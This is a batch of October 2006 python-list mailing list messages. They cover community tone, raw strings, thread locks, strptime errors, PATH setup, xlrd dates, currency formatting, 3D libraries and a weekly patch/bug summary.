In-Reply-To: <eh9402$83e$1@solaris.cc.vt.edu>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<eh9402$83e$1@solaris.cc.vt.edu>
Message-ID: <7.0.1.0.0.20061019214541.04d08ab0@yahoo.com.ar>

At Thursday 19/10/2006 21:07, Brad wrote:

> > Gah!!! That's *awful* in so many ways.
>
>It has been my experience that Python has discouraging forums with
>someone always calling someone else an idiot or telling them they are
>awful in some way. I love Python, but the community is way too negative,
>uptight and generally down on users who do not have PhD's in CS or Math.

I agree with you being angry.
It's true that our posts are going to stay for a long time, and 
people could find and read them, and perhaps copy and use our posted 
code. So when something is not up-to-the-standard or not following 
the best practices or is not the best way of doing things, that 
should be noted.
Certainly there is no need to be rude! Pointing out the deficiencies 
and how to avoid them can be done in a kind manner.
But I don't think that "the community" in general is too negative. 
It's a lot more "newbie-friendly" than other popular language's.

> > (1) The name is bad. "invert" is not the same as "reverse". Here's an
> > invert: 1/2 = 0.5. Your function falsely claims numbers aren't invertable.
>
>Dictionary.com
>invert = to reverse in position, order, direction, or relationship.

Note that even on a mathematical sense, "inverse" does not mean only 
"multiplicative inverse". -3 is the "additive inverse" of 3, by 
example (See <http://mathworld.wolfram.com/AdditiveInverse.html>). 
(BTW, integers -except two of them- are not inversible in Z).
So "invert" is not a bad name "per se". But having the reversed() 
builtin and reverse() list method implies that a similarly rooted 
name would be better (just to be coherent!) - perhaps reversed_string()?


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From bignose+hates-spam at benfinney.id.au  Wed Oct 25 05:31:20 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 25 Oct 2006 19:31:20 +1000
Subject: Change on file
References: <mailman.1060.1161690469.11739.python-list@python.org>
	<1uzfymw6npgtq$.i9somy6b4b3o$.dlg@40tude.net>
	<200610251552.15242.fulvio@tm.net.my>
Message-ID: <873b9coi6v.fsf@benfinney.id.au>

Fulvio <fulvio at tm.net.my> writes:

> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************

Fulvio, something between your fingers and the Python mailing list is
causing this to appear at on *every* message you send to this list.

Please do whatever you need to do to make it stop. It's unwelcome and
obnoxious.

-- 
 \         "In prayer, it is better to have a heart without words than |
  `\                          words without heart."  -- Mahatma Gandhi |
_o__)                                                                  |
Ben Finney



From newsuser at stacom-software.de  Tue Oct 17 11:05:21 2006
From: newsuser at stacom-software.de (Alexander Eisenhuth)
Date: Tue, 17 Oct 2006 17:05:21 +0200
Subject: Looking for assignement operator
In-Reply-To: <eh2n08$4ji$1@online.de>
References: <eh2n08$4ji$1@online.de>
Message-ID: <eh2rc2$c4s$1@online.de>

Wow, thanks a lot for your quick answers.

That assignement is no operator, but a statemant is a pity, but indeed I came 
foward with overwritten methods for numeric types

Regards
Alexander


From fredrik at pythonware.com  Tue Oct  3 08:21:33 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 3 Oct 2006 14:21:33 +0200
Subject: Raw strings and escaping
References: <451D7E0D.9080803@ieee.org>
	<D4F9316ACC9D20489CC81D19B8A87D5B039FE581@UKEX01.Digica.local>
Message-ID: <eftkkc$72t$1@sea.gmane.org>

Matthew Warren wrote:

> I would expect this to work,
>
> rawstring=r'some things\new things\some other things\'
>
> But it fails as the last backslash escapes the single quote.

raw string literals are parsed in exactly the same way as ordinary string literals; it's
just the mapping from the string literal to the contents of the string object that differs.

see the documentation for details.

</F> 





From kbk at shore.net  Sun Oct 15 22:20:15 2006
From: kbk at shore.net (Kurt B. Kaiser)
Date: Sun, 15 Oct 2006 22:20:15 -0400 (EDT)
Subject: Weekly Python Patch/Bug Summary
Message-ID: <200610160220.k9G2KFNN020854@bayview.thirdcreek.com>

Patch / Bug Summary
___________________

Patches :  431 open ( +3) /  3425 closed ( +8) /  3856 total (+11)
Bugs    :  916 open (-23) /  6273 closed (+44) /  7189 total (+21)
RFE     :  244 open ( +4) /   240 closed ( +1) /   484 total ( +5)

New / Reopened Patches
______________________

typo in PC/_msi.c  (2006-10-07)
CLOSED http://python.org/sf/1572724  opened by  jose nazario

Fix for segfault in ISO 2022 codecs  (2006-10-07)
CLOSED http://python.org/sf/1572832  opened by  Ray Chason

let quit and exit really exit  (2006-10-09)
CLOSED http://python.org/sf/1573835  opened by  Gerrit Holl

urllib2 - Fix line breaks in authorization headers  (2006-10-09)
       http://python.org/sf/1574068  opened by  Scott Dial

Add %var% support to ntpath.expandvars  (2006-10-09)
       http://python.org/sf/1574252  opened by  Chip Norkus

Mailbox will lock properly after flush()  (2006-10-11)
       http://python.org/sf/1575506  opened by  Philippe Gauthier

Support spawnvp[e] + use native execvp[e] on win32  (2006-10-12)
       http://python.org/sf/1576120  opened by  Snaury

os.utime acess denied with directories on win32  (2006-10-12)
CLOSED http://python.org/sf/1576166  opened by  Snaury

os.execvp[e] on win32 fails for current directory  (2006-10-13)
       http://python.org/sf/1576313  opened by  Snaury

Fix VC6 build, remove redundant files for VC7 build  (2006-10-14)
CLOSED http://python.org/sf/1576954  opened by  Larry Hastings

Fix VC6 build, remove redundant files for VC7 build  (2006-10-14)
CLOSED http://python.org/sf/1577078  opened by  Larry Hastings

Add _ctypes, _ctypes_test, and _elementtree to VC6 build  (2006-10-15)
CLOSED http://python.org/sf/1577551  opened by  Larry Hastings

newline in -DSVNVERSION=\"`LANG=C svnversion .`\"  (2006-10-15)
CLOSED http://python.org/sf/1577756  opened by  Daniel Str?nger

Patches Closed
______________

typo in PC/_msi.c  (2006-10-07)
       http://python.org/sf/1572724  closed by  gbrandl

Fix for segfault in ISO 2022 codecs  (2006-10-08)
       http://python.org/sf/1572832  closed by  perky

fix crash with continue in nested try/finally  (2006-08-18)
       http://python.org/sf/1542451  closed by  gbrandl

let quit and exit really exit  (2006-10-09)
       http://python.org/sf/1573835  closed by  mwh

Fix for Lib/test/crashers/gc_inspection.py  (2006-07-04)
       http://python.org/sf/1517042  closed by  gbrandl

os.utime acess denied with directories on win32  (2006-10-12)
       http://python.org/sf/1576166  closed by  loewis

Fix VC6 build, remove redundant files for VC7 build  (2006-10-14)
       http://python.org/sf/1576954  closed by  loewis

Fix VC6 build, remove redundant files for VC7 build  (2006-10-14)
       http://python.org/sf/1577078  deleted by  lhastings

Add _ctypes, _ctypes_test, and _elementtree to VC6 build  (2006-10-15)
       http://python.org/sf/1577551  closed by  loewis

newline in -DSVNVERSION=\"`LANG=C svnversion .`\"  (2006-10-15)
       http://python.org/sf/1577756  deleted by  schmaller

New / Reopened Bugs
___________________

cElementTree.SubElement doesn't recognize keyword "attrib"  (2006-10-07)
CLOSED http://python.org/sf/1572710  opened by  Mark Stephens

import org.python.core imports local org.py  (2006-10-08)
CLOSED http://python.org/sf/1573180  opened by  E.-O. Le Bigot

ctypes unit test fails (test_macholib.py) under MacOS 10.4.7  (2006-08-21)
CLOSED http://python.org/sf/1544102  reopened by  ronaldoussoren

struct module doesn't use weakref for cache  (2006-10-08)
CLOSED http://python.org/sf/1573394  opened by  Mark Flacy

sqlite3 documentation on rowcount is contradictory  (2006-10-10)
       http://python.org/sf/1573854  opened by  Seo Sanghyeon

if(status = ERROR_MORE_DATA)  (2006-10-09)
CLOSED http://python.org/sf/1573928  opened by  Helmut Grohne

WSGI, cgi.FieldStorage incompatibility  (2006-10-09)
       http://python.org/sf/1573931  opened by  Michael Kerrin

isinstance swallows exceptions  (2006-10-09)
       http://python.org/sf/1574217  opened by  Brian Harring

os.popen with os.close gives error message  (2006-10-10)
       http://python.org/sf/1574310  opened by  dtrosset

Error with callback function and as_parameter with NumPy ndp  (2006-10-10)
       http://python.org/sf/1574584  opened by  Albert Strasheim

ctypes: Pointer-to-pointer unchanged in callback  (2006-10-10)
       http://python.org/sf/1574588  opened by  Albert Strasheim

ctypes: Returning c_void_p from callback doesn't work  (2006-10-10)
       http://python.org/sf/1574593  opened by  Albert Strasheim

Request wave support > 16 bit samples  (2006-10-11)
       http://python.org/sf/1575020  opened by  Murray Lang

isSequenceType returns True for dict subclasses (<> 2.3)  (2006-10-11)
       http://python.org/sf/1575169  opened by  Martin Gfeller

typo: section 2.1 -> property  (2006-10-12)
CLOSED http://python.org/sf/1575746  opened by  Antoine De Groote

Missing notice on environment setting LD_LIBRARY_PATH  (2006-10-12)
CLOSED http://python.org/sf/1575803  opened by  Anastasios Hatzis

from_param and _as_parameter_ truncating 64-bit value  (2006-10-12)
       http://python.org/sf/1575945  opened by  Albert Strasheim

str(WindowsError) wrong  (2006-10-12)
       http://python.org/sf/1576174  opened by  Thomas Heller

ConfigParser: whitespace leading comment lines  (2006-10-12)
       http://python.org/sf/1576208  opened by  gregwillden

functools.wraps fails on builtins  (2006-10-12)
       http://python.org/sf/1576241  opened by  kajiuma

Example typo in section 4 of 'Installing Python Modules'  (2006-10-13)
       http://python.org/sf/1576348  opened by  ytrewq1

enable-shared .dso location  (2006-10-12)
CLOSED http://python.org/sf/1576394  opened by  Mike Klaas

cStringIO misbehaving with unicode  (2006-10-13)
CLOSED http://python.org/sf/1576443  opened by  Yang Zhang

ftplib doesn't follow standard  (2006-10-13)
       http://python.org/sf/1576598  opened by  Denis S. Otkidach

dict keyerror formatting and tuples  (2006-10-13)
       http://python.org/sf/1576657  opened by  M.-A. Lemburg

potential buffer overflow in complexobject.c  (2006-10-13)
       http://python.org/sf/1576861  opened by  Jochen Voss

GetFileAttributesExA and Win95  (2006-09-29)
CLOSED http://python.org/sf/1567666  reopened by  giomach

Bugs Closed
___________

csv "dialect = 'excel-tab'" to use excel_tab  (2006-10-06)
       http://python.org/sf/1572471  closed by  montanaro

cElementTree.SubElement doesn't recognize keyword "attrib"  (2006-10-07)
       http://python.org/sf/1572710  closed by  effbot

tabs missing in idle options configure  (2006-09-28)
       http://python.org/sf/1567450  closed by  kbk

IDLE doesn't load - apparently without firewall problems  (2006-09-22)
       http://python.org/sf/1563630  closed by  kbk

Let assign to as raise SyntaxWarning as well  (2003-02-23)
       http://python.org/sf/691733  closed by  nnorwitz

cvs update warnings  (2003-07-02)
       http://python.org/sf/764447  closed by  nnorwitz

Minor floatobject.c bug  (2003-08-15)
       http://python.org/sf/789159  closed by  nnorwitz

another threads+readline+signals nasty  (2004-06-11)
       http://python.org/sf/971213  closed by  nnorwitz

init_types  (2006-09-30)
       http://python.org/sf/1568243  closed by  gbrandl

import org.python.core imports local org.py  (2006-10-08)
       http://python.org/sf/1573180  closed by  gbrandl

PGIRelease linkage fails on pgodb80.dll  (2006-10-02)
       http://python.org/sf/1569517  closed by  krisvale

missing _typesmodule.c,Visual Studio 2005 pythoncore.vcproj  (2006-09-29)
       http://python.org/sf/1567910  closed by  krisvale

ctypes unit test fails (test_macholib.py) under MacOS 10.4.7  (2006-08-21)
       http://python.org/sf/1544102  closed by  ronaldoussoren

Tutorial: incorrect info about package importing and mac  (2006-09-17)
       http://python.org/sf/1560114  closed by  gbrandl

struct module doesn't use weakref for cache  (2006-10-08)
       http://python.org/sf/1573394  closed by  etrepum

setup() keyword have to be list (doesn't work with tuple)  (2006-08-23)
       http://python.org/sf/1545341  closed by  akuchling

if(status = ERROR_MORE_DATA)  (2006-10-09)
       http://python.org/sf/1573928  closed by  gbrandl

os.stat() subsecond file mode time is incorrect on Windows  (2006-09-25)
       http://python.org/sf/1565150  closed by  loewis

2.6 changes stomp on  2.5 docs  (2006-09-23)
       http://python.org/sf/1564039  closed by  sf-robot

Cannot use high-numbered sockets in 2.4.3  (2006-05-24)
       http://python.org/sf/1494314  closed by  anthonybaxter

typo: section 2.1 -> property  (2006-10-12)
       http://python.org/sf/1575746  closed by  gbrandl

-Qnew switch doesn't work  (2003-09-26)
       http://python.org/sf/813342  closed by  gbrandl

sets missing from standard types list in ref  (2006-09-26)
       http://python.org/sf/1565919  closed by  gbrandl

make plistlib.py available in every install  (2006-09-25)
       http://python.org/sf/1565129  closed by  gbrandl

inspect module and class startlineno  (2006-09-01)
       http://python.org/sf/1550524  closed by  gbrandl

Pdb parser bug  (2006-08-30)
       http://python.org/sf/1549574  closed by  gbrandl

Missing notice on environment setting LD_LIBRARY_PATH  (2006-10-12)
       http://python.org/sf/1575803  closed by  loewis

shlex (or perhaps cStringIO) and unicode strings  (2006-08-29)
       http://python.org/sf/1548891  closed by  gbrandl

Build of 2.4.3 on fedora core 5 fails to find asm/msr.h  (2006-09-03)
       http://python.org/sf/1551238  closed by  gbrandl

urlparse.urljoin odd behaviour  (2006-08-25)
       http://python.org/sf/1546628  closed by  gbrandl

inconsistent treatment of NULs in int()  (2006-08-23)
       http://python.org/sf/1545497  closed by  gbrandl

Move fpectl elsewhere in library reference  (2006-09-11)
       http://python.org/sf/1556261  closed by  gbrandl

Fix Lib/test/test___all__.py  (2006-08-22)
       http://python.org/sf/1544295  closed by  gbrandl

smeared title when installing  (2004-10-18)
       http://python.org/sf/1049615  closed by  gbrandl

nit for builtin sum doc  (2005-09-07)
       http://python.org/sf/1283491  closed by  gbrandl

site-packages &amp; build-dir python  (2002-07-25)
       http://python.org/sf/586700  closed by  gbrandl

__name__ doesn't show up in dir() of class  (2006-08-03)
       http://python.org/sf/1534014  closed by  gbrandl

Interpreter crash: filter() + gc.get_referrers()  (2006-07-05)
       http://python.org/sf/1517663  closed by  gbrandl

Better/faster implementation of os.path.basename/dirname  (2006-09-17)
       http://python.org/sf/1560179  closed by  gbrandl

enable-shared .dso location  (2006-10-13)
       http://python.org/sf/1576394  closed by  loewis

cStringIO misbehaving with unicode  (2006-10-13)
       http://python.org/sf/1576443  closed by  gbrandl

GetFileAttributesExA and Win95  (2006-09-29)
       http://python.org/sf/1567666  closed by  loewis

site-packages isn't created before install_egg_info  (2006-09-27)
       http://python.org/sf/1566719  closed by  sf-robot

New / Reopened RFE
__________________

release GIL while doing I/O operations in the mmap module  (2006-10-08)
       http://python.org/sf/1572968  opened by  Lukas Lalinsky

RFE Closed
__________

Print identical floats consistently  (2006-08-05)
       http://python.org/sf/1534942  closed by  gbrandl



From gh at gregor-horvath.com  Fri Oct 20 22:55:41 2006
From: gh at gregor-horvath.com (Gregor Horvath)
Date: Sat, 21 Oct 2006 04:55:41 +0200
Subject: Webprogr: Link with automatic submit
In-Reply-To: <4538b094$0$8661$426a74cc@news.free.fr>
References: <eha5i0$sk7$1@newsreader2.utanet.at>
	<4538b094$0$8661$426a74cc@news.free.fr>
Message-ID: <ehc27d$vms$1@newsreader2.utanet.at>

Bruno Desthuilliers schrieb:
> yes : replace the link with another submit button, then in your
> controller check which submit has been successful and take appropriate
> action.

Thanks !

-- 
  Servus, Gregor


From rrs at researchut.com  Wed Oct 11 09:09:32 2006
From: rrs at researchut.com (Ritesh Raj Sarraf)
Date: Wed, 11 Oct 2006 18:39:32 +0530
Subject: thread lock question
Message-ID: <c17vv3-udg.ln1@www.researchut.com>

Hi,

I have a question regarding locks in threads.
Following is the code example:

if download_file(foo, bar) == True:
        if some condition:
                do_something()
                if zip_bool:
                        ziplock.acquire()
                        try:
                                compress_the_file(zip_type_file, foo, bar)
                                os.unlink(foo) # Unlink it once it has been zipped
                        finally:
                                ziplock.release()
        if zip_bool:
                ziplock.acquire()
                try:
                        compress_the_file(zip_type_file, foo, bar)
                        os.unlink(foo)
                finally:
                        ziplock.release()

Basically, I'm testing for some condition, if that is True, do something and
then do the zipping. I'm also doing the zipping even if that's not true.

My question is, in a code example like this which is threaded, does the locking
mechanism work correctly ?
Or are two different locks being acquired ?

Thanks,
Ritesh
-- 
Ritesh Raj Sarraf
RESEARCHUT - http://www.researchut.com
"Necessity is the mother of invention."
"Stealing logic from one person is plagiarism, stealing from many is research."
"The great are those who achieve the impossible, the petty are those who
cannot - rrs"



From mail at microcorp.co.za  Wed Oct 11 00:46:47 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Wed, 11 Oct 2006 06:46:47 +0200
Subject: OT: Sarcasm and irony
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>	<4out4fFgdgouU1@individual.net><4ov1acFgfmpmU1@uni-berlin.de>	<4ov2eeFgh8t6U1@individual.net><87y7rp9iyi.fsf_-_@benfinney.id.au>	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com><3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
Message-ID: <004501c6ecf0$430a6a20$03000080@hendrik>

"Steve Holden" <steve at holdenweb.com> wrote:

8<----------------------------------------------------------------
> ....... It's well-known among Brits that Americans don't 
> understand irony. They can be pretty oblique when it come to sarcasms 
> too, for that matter.

*ducks to avoid the nuclear fall out*

You should not do that Steve - they have no Sense of Humour either....

- Hendrik



From stoune at gmail.com  Wed Oct  4 04:55:54 2006
From: stoune at gmail.com (Stoune)
Date: 4 Oct 2006 01:55:54 -0700
Subject: hex sending
In-Reply-To: <1159950601.039132.17120@h48g2000cwc.googlegroups.com>
References: <1159949891.962523.182880@c28g2000cwb.googlegroups.com>
	<mailman.1241.1159950349.10491.python-list@python.org>
	<1159950601.039132.17120@h48g2000cwc.googlegroups.com>
Message-ID: <1159952154.187184.269080@b28g2000cwb.googlegroups.com>


hiroc wrote:
> I want send pairs of hexadecimal characters, abc is only my test hex
> char is real
>

Possibly this code helps to you:

import binascii

binascii.hexlify('hello worlds')

Output: '68656c6c6f20776f726c6473'



From lurker86 at gmail.com  Sat Oct 21 14:34:40 2006
From: lurker86 at gmail.com (Kyujin Shim)
Date: Sun, 22 Oct 2006 03:34:40 +0900
Subject: Strptime Problem with PyLucene
Message-ID: <f002129e0610211134i3434058br23e924fbd6f492cc@mail.gmail.com>

I want to use time module like this.
*mydate = time.strptime('17 Jul 2006 07:23:09 GMT', '%d %b %Y %H:%M:%S %Z')*
But, I have some problem when I run it with PyLucene.

Is there someone know about this problem?

------------------------------------------------------------
(1:351:148)$ python
Python 2.4.4c0 (#2, Jul 30 2006, 15:43:58)
[GCC 4.1.2 20060715 (prerelease) (Debian 4.1.1-9)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import PyLucene
WARNING: Error loading security provider gnu.javax.crypto.jce.GnuCrypto:
java.lang.ClassNotFoundException: gnu.javax.crypto.jce.GnuCrypto not found
in [file:./, core:/]
WARNING: Error loading security provider gnu.javax.crypto.jce.GnuSasl:
java.lang.ClassNotFoundException: gnu.javax.crypto.jce.GnuSasl not found in
[file:./, core:/]
WARNING: Error loading security provider gnu.javax.net.ssl.provider.Jessie:
java.lang.ClassNotFoundException: gnu.javax.net.ssl.provider.Jessie not
found in [file:./, core:/]
WARNING: Error loading security provider
gnu.javax.security.auth.callback.GnuCallbacks:
java.lang.ClassNotFoundException:
gnu.javax.security.auth.callback.GnuCallbacks not found in [file:./, core:/]
>>> import time
>>> mydate = time.strptime('17 Jul 2006 07:23:09 GMT', '%d %b %Y %H:%M:%S
%Z')
Traceback (most recent call last):
File "<stdin>", line 1, in ?
File "/usr/lib/python2.4/_strptime.py", line 293, in strptime
raise ValueError("time data did not match format: data=%s fmt=%s" %
ValueError: time data did not match format: data=17 Jul 2006 07:23:09 GMT
fmt=%d %b %Y %H:%M:%S %Z
>>>

----------------------------------------------

This works fine.
------------------------------
Type "help", "copyright", "credits" or "license" for more information.
>>> import time
>>> time.strptime('17 Jul 2006 07:23:09 GMT', '%d %b %Y %H:%M:%S %Z')
(2006, 7, 17, 7, 23, 9, 0, 198, 0)
>>>
---------------------------------
-------------- next part --------------
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From steve at holdenweb.com  Tue Oct 31 04:35:16 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 31 Oct 2006 09:35:16 +0000
Subject: 3d programming without opengl
In-Reply-To: <iHD1h.25601$GR2.12249@tornado.texas.rr.com>
References: <mailman.1526.1162280594.11739.python-list@python.org>
	<iHD1h.25601$GR2.12249@tornado.texas.rr.com>
Message-ID: <ei75ad$98l$1@sea.gmane.org>

Paul McGuire wrote:
> "nelson -" <nelson1977 at gmail.com> wrote in message 
> news:mailman.1526.1162280594.11739.python-list at python.org...
> 
>>hi!
>>  i want to build up a simple 3d interactive geometry application in
>>python. Since i want to run it without 3D acceleration (a scene will
>>be quite simple) I was wondering if there was a library in python that
>>allow me to build 3D graphic without the need to use OpenGL.... I
>>google but i can't find nothing interesting... (the best would be a
>>pure python solution)
>>
>>Thanks,
>> nelson
> 
> 
> Here's a page (http://www.vrplumber.com/py3d.py) with links to 73 possible 
> libraries.
> 
> I've played with Slut (http://slut.sourceforge.net/) and it is quite easy to 
> work with.  Here's a Flash movie (recorded using Wink) of a sphere that I 
> programmed and rotated about: 
> http://www.geocities.com/ptmcg/python/sphere1.htm, and here is the program 
> that created it: http://www.geocities.com/ptmcg/python/vecSlut2.py.txt.
> 
> The demos that come with Slut are quite impressive, too.  The Slut project 
> web page summarizes them here 
> (http://slut.sourceforge.net/examples/index.html), but the little videos 
> don't do them justice.
> 
Looks like c.l.py just slashdotted you ... """The GeoCities web site you 
were trying to view has temporarily exceeded its data transfer limit. 
Please try again later."""

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From jweida at gmail.com  Sat Oct 14 11:43:15 2006
From: jweida at gmail.com (Jerry)
Date: 14 Oct 2006 08:43:15 -0700
Subject: Making a shorter shebang
In-Reply-To: <1160840251.769368.327090@m7g2000cwm.googlegroups.com>
References: <1160840251.769368.327090@m7g2000cwm.googlegroups.com>
Message-ID: <1160840595.827897.150260@f16g2000cwb.googlegroups.com>

/usr/bin/env just searches your PATH variable to find it, but it does
so in order.  So, if you want it to find your python instead of a
system provided one, just alter your PATH variable and put
/home/my_username/python2.5 in front of everything else.

example in .profile:

PATH=/home/<username>/python2.5:$PATH
export PATH

--
Jerry

On Oct 14, 10:37 am, "veracon" <vera... at gmail.com> wrote:
> Long story short, in order to use Python 2.5, I've compiled it in my
> own account on my hosting. It works fantastic as
> /home/my_username/python2.5, but the shebang is a bit long. Is there a
> way to shorten it (environment variables?) or, even better, make
> /usr/bin/env python point to it?
> 
> Thanks in advance!



From fredrik at pythonware.com  Tue Oct 17 03:54:34 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 09:54:34 +0200
Subject: How to paras such echo string effection?
In-Reply-To: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com>
References: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com>
Message-ID: <eh227r$9nr$2@sea.gmane.org>

Kevien Lee wrote:

> PS:is there any python lib for CVS ?

there's some stuff in Demo/pdist in the Python source distribution, 
including a module called "cvslib".

</F>



From email at christoph-haas.de  Tue Oct 10 08:15:54 2006
From: email at christoph-haas.de (Christoph Haas)
Date: Tue, 10 Oct 2006 14:15:54 +0200
Subject: Linting python code...
In-Reply-To: <m31wpgjryh.fsf@flognat.myip.nu>
References: <m31wpgjryh.fsf@flognat.myip.nu>
Message-ID: <200610101415.54557.email@christoph-haas.de>

On Tuesday 10 October 2006 14:06, Andrew Markebo wrote:
> Are there any python-code linter out there

PyLint (http://www.logilab.org/projects/pylint)
PyChecker (http://pychecker.sf.net)

 Christoph


From ptmcg at austin.rr._bogus_.com  Mon Oct 16 10:00:28 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 16 Oct 2006 14:00:28 GMT
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <0gMYg.105677$5o5.16838@tornado.texas.rr.com>

"Jorgen Grahn" <grahn+nntp at snipabacken.dyndns.org> wrote in message 
news:slrnei7icb.gim.grahn+nntp at frailea.sa.invalid...
> Yes. But note that being able to write it yourself is one thing, having it
> in the Standard Library and known to anyone is another.
>

Perhaps you could compile the submissions in this thread into an entry in 
the Python Cookbook.  Probably the next best thing to being in the stdlib, 
and it might even make it into the next print edition (earning you a free 
copy!).

-- Paul




From robin at reportlab.com  Wed Oct 25 14:06:29 2006
From: robin at reportlab.com (Robin Becker)
Date: Wed, 25 Oct 2006 19:06:29 +0100
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <453FA2F9.4010003@v.loewis.de>
References: <453F3189.5000502@chamonix.reportlab.co.uk>	<ehndnf$5n4$1@sea.gmane.org>	<mailman.1167.1161773743.11739.python-list@python.org>	<7xu01s9yoz.fsf@ruckus.brouhaha.com>	<mailman.1185.1161793738.11739.python-list@python.org>	<453F9B42.8060401@v.loewis.de>	<mailman.1189.1161797569.11739.python-list@python.org>
	<453FA2F9.4010003@v.loewis.de>
Message-ID: <453FA7A5.80706@chamonix.reportlab.co.uk>

Martin v. L?wis wrote:
........
> As I said: you need to fix the final outcome:
> 
> py> x = 0xFFFFFFFFL
> py> hex(x)
> '0xFFFFFFFFL'
> 
........
> 
> and so on. Whether you perform the modulo operation after
> each step, or only at the end, has no impact on the result.


All hail congruency classes.

I still miss the CDC 6000's where we had two zeroes :)

-- 
Robin Becker



From bgirardot at gmail.com  Wed Oct 25 16:25:03 2006
From: bgirardot at gmail.com (Blake Girardot)
Date: Wed, 25 Oct 2006 16:25:03 -0400
Subject: [OT] Need Python Programmer for contract work
Message-ID: <453FC81F.8070101@mac.com>


Hi,

Sorry to intrude on the list, but I am looking for an experienced Python
programmer to do some maintenance on an existing 800 line python script
and this seemed like it might be a good source.

The script reads IPTC info from images and then does some various file
handling based on the values in the IPTC info.

I am really looking for someone who is both expert in Python and has
experience with IPTC and XMP. We are talking about probably 10 - 20 
hours of total work for this one set of updates with ongoing opportunity 
for support and enhancements.

Please contact me off list only since this is OT. Please include a brief 
summary of your experience, hourly rate, a phone number and the best 
time to reach you. Location doesn't matter to me, it is all telecommute 
work anyway.

Best Wishes.



From nitte.sudhir at gmail.com  Fri Oct  6 07:47:27 2006
From: nitte.sudhir at gmail.com (kath)
Date: 6 Oct 2006 04:47:27 -0700
Subject: TypeError: unsupported type for timedelta days component: unicode
Message-ID: <1160135247.133780.96690@m73g2000cwd.googlegroups.com>

Hi,

the following shows the contents of "datebook.xls"

Date
8/9/2006
8/9/2006
8/9/2006
8/9/2006
8/9/2006

# read_date.py
import xlrd

book = xlrd.open_workbook("datebook.xls")
sh = book.sheet_by_index(0)
ex_qdate=sh.cell_value(rowx=1,colx=0)
pyd=datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=1,colx=0))
print pyd

for c in range(sh.ncols):
    for r in range(sh.nrows):
        print sh.cell_value(rowx=r,colx=c)
        print
datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=r,colx=c))

---- Output ----
>>>
2006-08-11
Date
Traceback (most recent call last):
  File "D:/Python23/Testing area/Python and Excel/read_date.py", line
12, in ?
    print
datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=r,colx=c))
TypeError: unsupported type for timedelta days component: unicode
>>>

The first print statement gives me desired output. Whats wrong with
second print statement?
When I give the discriptor or index explicitly its giving the correct
answer.
Why not in the loop?

Am I wrong some where?


Please help me.
Thank you,
Sudhir.



From mattabat at gmail.com  Wed Oct  4 05:34:24 2006
From: mattabat at gmail.com (mattabat at gmail.com)
Date: 4 Oct 2006 02:34:24 -0700
Subject: Getting Pygopherd to work under Mac OS X
Message-ID: <1159954464.194392.190600@m73g2000cwd.googlegroups.com>

Hello,
Could someone *please* show us poor Mac users how to install and run
Pygopherd successfully under Mac OS X? The latest version 2.0.4, as
found at http://freshmeat.net/projects/pygopherd/ is my bane. I think I
talked to John Goerzen, the maintainer, a while back but nothing came
of it.
I've tried this twice now, following the instructions given and have
found nothing but grief and many errors.
For a Python app it seems to be rather platform dependant! Does
Pygopherd need to be altered somehow to work under OS X?
If Pygopherd is a lost cause, can someone recommend another
*maintained* gopher daemon with instructions that would allow its' use
under OS X?

--
mattabat <mattabat at gopher.nz>



From rinderspacher at bits-ac.com  Tue Oct 17 10:16:05 2006
From: rinderspacher at bits-ac.com (jr)
Date: 17 Oct 2006 07:16:05 -0700
Subject: Format a number as currency! I can't find any help on this simple
	problem.
In-Reply-To: <1160537295.884864.162200@i3g2000cwc.googlegroups.com>
References: <mailman.251.1160535479.11739.python-list@python.org>
	<1160537295.884864.162200@i3g2000cwc.googlegroups.com>
Message-ID: <1161094565.268129.132600@f16g2000cwb.googlegroups.com>

Hi, Bernard.
Just tried the first 2 commands on win XP, Python 2.5 under Idle.
An Error is raised: "unsupported locale setting" (lib/locale.py in
setlocale, line 476).
Actually I get the error also under Python 2.4.3
Any idea what I'm missing?
Thanks in advance.
J?rgen
Bernard wrote:
> >>> import locale
> >>> locale.setlocale(locale.LC_ALL, 'English_United States.1252')
> 'English_United States.1252'
> >>> conv = locale.localeconv()
> >>> x = 1234567.8
> >>> locale.format("%d", x, grouping=True)
> '1,234,567'
> >>> locale.format("%s%.*f", (conv['currency_symbol'], conv['int_frac_digits'], x), grouping=True)
> '$1,234,567.80'
>
> Hi Richards,
>
> This works for me. I agree it's a bit complicated compared to C# but it
> works. I'd put it in a function if I had to use it.
>
>
> Richard Kessler wrote:
> > I am relatively new to Python.  Love it, but I find things that I can do
> > easily in .NET and cannot find a way to do in Python. I need to format a
> > number as currency, for example 12343.56 to $12,343.56.
> >
> > In C# all I need to do is decimal x = 12343.56 then x.ToString("$###,###.00");
> >
